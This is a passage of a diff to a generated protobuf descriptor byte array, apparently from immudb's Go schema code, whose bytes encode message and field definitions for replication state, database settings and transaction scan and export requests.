0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, - 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, - 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, - 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, - 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, - 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, - 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, - 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, - 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, - 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, - 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, - 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, - 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, - 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, - 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, - 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, - 0x95, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, - 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, + 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, + 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, + 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, + 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, + 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, + 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, + 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, + 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, + 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, + 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, + 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, + 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 